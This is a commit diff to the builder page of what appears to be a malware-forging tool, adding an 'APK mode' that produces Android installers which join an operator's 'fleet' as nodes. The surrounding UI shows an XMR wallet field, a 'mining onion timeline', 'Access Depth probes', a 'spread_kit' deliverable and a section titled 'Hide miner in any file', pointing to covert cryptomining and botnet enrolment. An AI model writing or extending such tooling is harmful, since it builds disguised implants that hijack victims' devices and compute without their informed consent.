Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
@@ -1656,7 +1656,11 @@ export default function BuilderPage() {
|
||||
)}
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<label className="label">
|
||||
XMR Wallet Address {!form.apk_mode && <HelpTip field="wallet" />}
|
||||
{form.apk_mode && <span className="form-hint"> (optional)</span>}
|
||||
{form.apk_mode && <HelpTip field="wallet" />}
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||
@@ -1828,7 +1832,11 @@ export default function BuilderPage() {
|
||||
type="text"
|
||||
className="input"
|
||||
disabled
|
||||
value="Universal (all platforms)"
|
||||
value={
|
||||
form.apk_mode
|
||||
? 'Android (arm64)'
|
||||
: 'Universal (all platforms)'
|
||||
}
|
||||
readOnly
|
||||
/>
|
||||
) : (
|
||||
@@ -1868,6 +1876,26 @@ export default function BuilderPage() {
|
||||
Upload nothing — forge produces the deploy ZIP.
|
||||
</p>
|
||||
)}
|
||||
<div className={`form-group checkbox-group ${fieldMeta.apk_mode?.disabled ? 'field-disabled' : ''}`} style={{ marginTop: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={!!form.apk_mode}
|
||||
disabled={fieldMeta.apk_mode?.disabled}
|
||||
onChange={(e) => updateField('apk_mode', e.target.checked)}
|
||||
/>
|
||||
<span>APK mode <HelpTip field="apk_mode" /></span>
|
||||
</label>
|
||||
<FieldHint field="apk_mode" />
|
||||
<ForgeLockedHint meta={fieldMeta.apk_mode} />
|
||||
</div>
|
||||
{form.apk_mode && (
|
||||
<p className="form-hint">
|
||||
Install the forged APK on a phone or tablet. Grant permissions on first open — the node joins your fleet as{' '}
|
||||
<code>platform=android</code> (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
@@ -2281,7 +2309,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
|
||||
{deliverableType !== 'spread_kit' && (
|
||||
{deliverableType !== 'spread_kit' && !form.apk_mode && (
|
||||
<div className="form-section operator-deck-card operator-interactive">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion — Hide miner in any file"
|
||||
|
||||
Reference in New Issue
Block a user